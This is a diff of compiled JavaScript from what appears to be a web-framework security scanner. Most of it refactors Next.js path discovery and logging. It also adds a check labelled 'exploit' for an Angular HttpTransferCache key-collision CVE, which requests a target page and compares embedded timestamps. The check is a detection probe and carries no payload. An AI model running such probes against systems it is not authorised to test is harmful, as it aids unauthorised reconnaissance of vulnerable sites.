|
|
24
24
|
// open the file and load the chunks
|
|
25
25
|
const chunks = JSON.parse(fs.readFileSync(filePath, "utf-8"));
|
|
26
|
-
|
|
27
|
-
|
|
26
|
+
const chunksCopy = chunks;
|
|
27
|
+
const foundPaths = [];
|
|
28
28
|
// iterate over the chunks
|
|
29
29
|
for (const [key, value] of Object.entries(chunks)) {
|
|
30
30
|
// see if the chunk code string contains window.__NEXT_P string
|
|
@@ -38,7 +38,7 @@ const client_mappedJsonFile = (filePath) => __awaiter(void 0, void 0, void 0, fu
|
|
|
38
38
|
});
|
|
39
39
|
}
|
|
40
40
|
catch (err) {
|
|
41
|
-
|
|
41
|
+
printMsg(MSG.Err, `[!] Failed to parse chunk ${key}: ${err}`);
|
|
42
42
|
continue;
|
|
43
43
|
}
|
|
44
44
|
traverse(ast, {
|
|
@@ -77,7 +77,7 @@ const client_mappedJsonFile = (filePath) => __awaiter(void 0, void 0, void 0, fu
|
|
|
77
77
|
if (firstArg.elements.length > 0) {
|
|
78
78
|
const element = firstArg.elements[0];
|
|
79
79
|
if (element.type === "StringLiteral") {
|
|
80
|
-
|
|
80
|
+
printMsg(MSG.Run, `[+] Found client-side path: ${element.value}`);
|
|
81
81
|
if (chunksCopy[key].description === "none") {
|
|
82
82
|
chunksCopy[key].description =
|
|
83
83
|
"Client-side path definition: " + element.value;
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"client_mappedJsonFile.js","sourceRoot":"","sources":["../../../src/endpoints/next_js/client_mappedJsonFile.ts"],"names":[],"mappings":";;;;;;;;;;AAAA,OAAO,
|
|
1
|
+
{"version":3,"file":"client_mappedJsonFile.js","sourceRoot":"","sources":["../../../src/endpoints/next_js/client_mappedJsonFile.ts"],"names":[],"mappings":"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"}
|
|
@@ -8,14 +8,14 @@ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, ge
|
|
|
8
8
|
});
|
|
9
9
|
};
|
|
10
10
|
var _a;
|
|
11
|
-
import chalk from "chalk";
|
|
12
11
|
import fs from "fs";
|
|
13
12
|
import path from "path";
|
|
14
13
|
import parser from "@babel/parser";
|
|
15
14
|
import _traverse from "@babel/traverse";
|
|
16
15
|
import makeRequest from "../../utility/makeReq.js";
|
|
16
|
+
import { printMsg, MSG } from "../../utility/printMsg.js";
|
|
17
17
|
const traverse = ((_a = _traverse.default) !== null && _a !== void 0 ? _a : _traverse);
|
|
18
|
-
|
|
18
|
+
const toReturn = [];
|
|
19
19
|
/**
|
|
20
20
|
* Checks for client-side paths in a file and appends discovered paths to the module-scoped `toReturn` array.
|
|
21
21
|
*
|
|
@@ -58,7 +58,7 @@ const checkHref = (files, url) => __awaiter(void 0, void 0, void 0, function* ()
|
|
|
58
58
|
continue;
|
|
59
59
|
}
|
|
60
60
|
// traverse the ast, and find the objects with href, and external
|
|
61
|
-
|
|
61
|
+
const finds = [];
|
|
62
62
|
traverse(ast, {
|
|
63
63
|
ObjectExpression(path) {
|
|
64
64
|
const properties = path.node.properties;
|
|
@@ -189,11 +189,11 @@ const checkSlug = (files, url) => __awaiter(void 0, void 0, void 0, function* ()
|
|
|
189
189
|
});
|
|
190
190
|
const client_subsequentRequests = (subsequentRequestsDir, url) => __awaiter(void 0, void 0, void 0, function* () {
|
|
191
191
|
// let report = `## Subsequent Requests\n`;
|
|
192
|
-
|
|
192
|
+
printMsg(MSG.Header, "[i] Using subsequent requests file method");
|
|
193
193
|
// get all the files in the directory
|
|
194
194
|
const walkSync = (dir, files = []) => {
|
|
195
195
|
fs.readdirSync(dir).forEach((file) => {
|
|
196
|
-
|
|
196
|
+
const dirFile = path.join(dir, file);
|
|
197
197
|
if (fs.statSync(dirFile).isDirectory()) {
|
|
198
198
|
walkSync(dirFile, files);
|
|
199
199
|
}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"client_subsequentRequests.js","sourceRoot":"","sources":["../../../src/endpoints/next_js/client_subsequentRequests.ts"],"names":[],"mappings":";;;;;;;;;;AAAA,OAAO,
|
|
1
|
+
{"version":3,"file":"client_subsequentRequests.js","sourceRoot":"","sources":["../../../src/endpoints/next_js/client_subsequentRequests.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,61 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import rawRequest from "../utility/rawRequest.js";
|
|
11
|
+
/** Looks like a per-request timestamp/nonce field an app might echo (e.g. "receivedAt": 172...). */
|
|
12
|
+
const TIMESTAMP_FIELD = /"(?:receivedAt|timestamp|generatedAt|servedAt)"\s*:\s*("[^"]+"|[\d.]+)/i;
|
|
13
|
+
/**
|
|
14
|
+
* HttpTransferCache is a *within-one-SSR-render* cache — it de-duplicates identical HttpClient
|
|
15
|
+
* calls made during server-side rendering by embedding the first call's response in the page's
|
|
16
|
+
* TransferState payload for the client to reuse during hydration, rather than a cross-request
|
|
17
|
+
* reverse-proxy-style cache. The collision therefore isn't observable across two independent
|
|
18
|
+
* requests to a plain API route — it only fires within a single page render that itself issues
|
|
19
|
+
* two colliding-but-differently-encoded HttpClient calls (as this app's component does: a
|
|
20
|
+
* `?tag=a&tag=b` call followed by a chained `?tag=a,b` call). So the exploit is a single request
|
|
21
|
+
* for the SSR-rendered page, extracting both calls' results from the rendered markup.
|
|
22
|
+
*/
|
|
23
|
+
export const extractLabeledResult = (html, label) => {
|
|
24
|
+
var _a, _b;
|
|
25
|
+
const startIndex = html.indexOf(label);
|
|
26
|
+
if (startIndex === -1)
|
|
27
|
+
return null;
|
|
28
|
+
const closingTagIndex = html.indexOf("</p>", startIndex);
|
|
29
|
+
const segment = closingTagIndex === -1 ? html.slice(startIndex) : html.slice(startIndex, closingTagIndex);
|
|
30
|
+
return (_b = (_a = TIMESTAMP_FIELD.exec(segment)) === null || _a === void 0 ? void 0 : _a[1]) !== null && _b !== void 0 ? _b : null;
|
|
31
|
+
};
|
|
32
|
+
const cve202668945 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
|
|
33
|
+
const response = yield rawRequest(ctx.baseUrl, { timeout: ctx.timeout, signal: ctx.signal });
|
|
34
|
+
if (!response) {
|
|
35
|
+
return { vulnerable: false, evidence: "Request failed (network error).", discoveredUrls: [] };
|
|
36
|
+
}
|
|
37
|
+
const resultA = extractLabeledResult(response.body, "CALL_A_RESULT:");
|
|
38
|
+
const resultB = extractLabeledResult(response.body, "CALL_B_RESULT:");
|
|
39
|
+
if (!resultA || !resultB) {
|
|
40
|
+
return {
|
|
41
|
+
vulnerable: false,
|
|
42
|
+
evidence: "No timestamp-shaped marker present in the rendered page's call results — cannot confirm HttpTransferCache collision without guessing.",
|
|
43
|
+
discoveredUrls: [],
|
|
44
|
+
};
|
|
45
|
+
}
|
|
46
|
+
if (resultA === resultB) {
|
|
47
|
+
return {
|
|
48
|
+
vulnerable: true,
|
|
49
|
+
evidence: `HttpTransferCache key collision confirmed: the ?tag=a&tag=b call and the chained ?tag=a,b call both resolved to the same cached response (${resultA}).`,
|
|
50
|
+
discoveredUrls: [],
|
|
51
|
+
rawFindingExtras: { sharedTimestamp: resultA },
|
|
52
|
+
};
|
|
53
|
+
}
|
|
54
|
+
return {
|
|
55
|
+
vulnerable: false,
|
|
56
|
+
evidence: "The two calls resolved to different responses — no collision.",
|
|
57
|
+
discoveredUrls: [],
|
|
58
|
+
};
|
|
59
|
+
});
|
|
60
|
+
export default cve202668945;
|
|
61
|
+
//# sourceMappingURL=cve-2026-68945.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"cve-2026-68945.js","sourceRoot":"","sources":["../../../src/exploit/angular/cve-2026-68945.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,UAAU,MAAM,0BAA0B,CAAC;AAGlD,oGAAoG;AACpG,MAAM,eAAe,GAAG,yEAAyE,CAAC;AAElG;;;;;;;;;GASG;AACH,MAAM,CAAC,MAAM,oBAAoB,GAAG,CAAC,IAAY,EAAE,KAAa,EAAiB,EAAE;;IAC/E,MAAM,UAAU,GAAG,IAAI,CAAC,OAAO,CAAC,KAAK,CAAC,CAAC;IACvC,IAAI,UAAU,KAAK,CAAC,CAAC;QAAE,OAAO,IAAI,CAAC;IACnC,MAAM,eAAe,GAAG,IAAI,CAAC,OAAO,CAAC,MAAM,EAAE,UAAU,CAAC,CAAC;IACzD,MAAM,OAAO,GAAG,eAAe,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,UAAU,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,UAAU,EAAE,eAAe,CAAC,CAAC;IAC1G,OAAO,MAAA,MAAA,eAAe,CAAC,IAAI,CAAC,OAAO,CAAC,0CAAG,CAAC,CAAC,mCAAI,IAAI,CAAC;AACtD,CAAC,CAAC;AAEF,MAAM,YAAY,GAAmB,CAAO,GAAmB,EAA2B,EAAE;IACxF,MAAM,QAAQ,GAAG,MAAM,UAAU,CAAC,GAAG,CAAC,OAAO,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;IAC7F,IAAI,CAAC,QAAQ,EAAE,CAAC;QACZ,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,iCAAiC,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;IAClG,CAAC;IAED,MAAM,OAAO,GAAG,oBAAoB,CAAC,QAAQ,CAAC,IAAI,EAAE,gBAAgB,CAAC,CAAC;IACtE,MAAM,OAAO,GAAG,oBAAoB,CAAC,QAAQ,CAAC,IAAI,EAAE,gBAAgB,CAAC,CAAC;IAEtE,IAAI,CAAC,OAAO,IAAI,CAAC,OAAO,EAAE,CAAC;QACvB,OAAO;YACH,UAAU,EAAE,KAAK;YACjB,QAAQ,EACJ,uIAAuI;YAC3I,cAAc,EAAE,EAAE;SACrB,CAAC;IACN,CAAC;IAED,IAAI,OAAO,KAAK,OAAO,EAAE,CAAC;QACtB,OAAO;YACH,UAAU,EAAE,IAAI;YAChB,QAAQ,EAAE,6IAA6I,OAAO,IAAI;YAClK,cAAc,EAAE,EAAE;YAClB,gBAAgB,EAAE,EAAE,eAAe,EAAE,OAAO,EAAE;SACjD,CAAC;IACN,CAAC;IAED,OAAO;QACH,UAAU,EAAE,KAAK;QACjB,QAAQ,EAAE,+DAA+D;QACzE,cAAc,EAAE,EAAE;KACrB,CAAC;AACN,CAAC,CAAA,CAAC;AAEF,eAAe,YAAY,CAAC"}
|
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import chalk from "chalk";
|
|
11
|
+
import { findCveMetadata, groupedByFramework } from "./registry/cveRegistry.js";
|
|
12
|
+
import { toExploitFinding, generateExploitOutput } from "./utility/outputHelper.js";
|
|
13
|
+
import { toEngineOutput } from "./utility/toEngineOutput.js";
|
|
14
|
+
import { printMsg, MSG } from "../utility/printMsg.js";
|
|
15
|
+
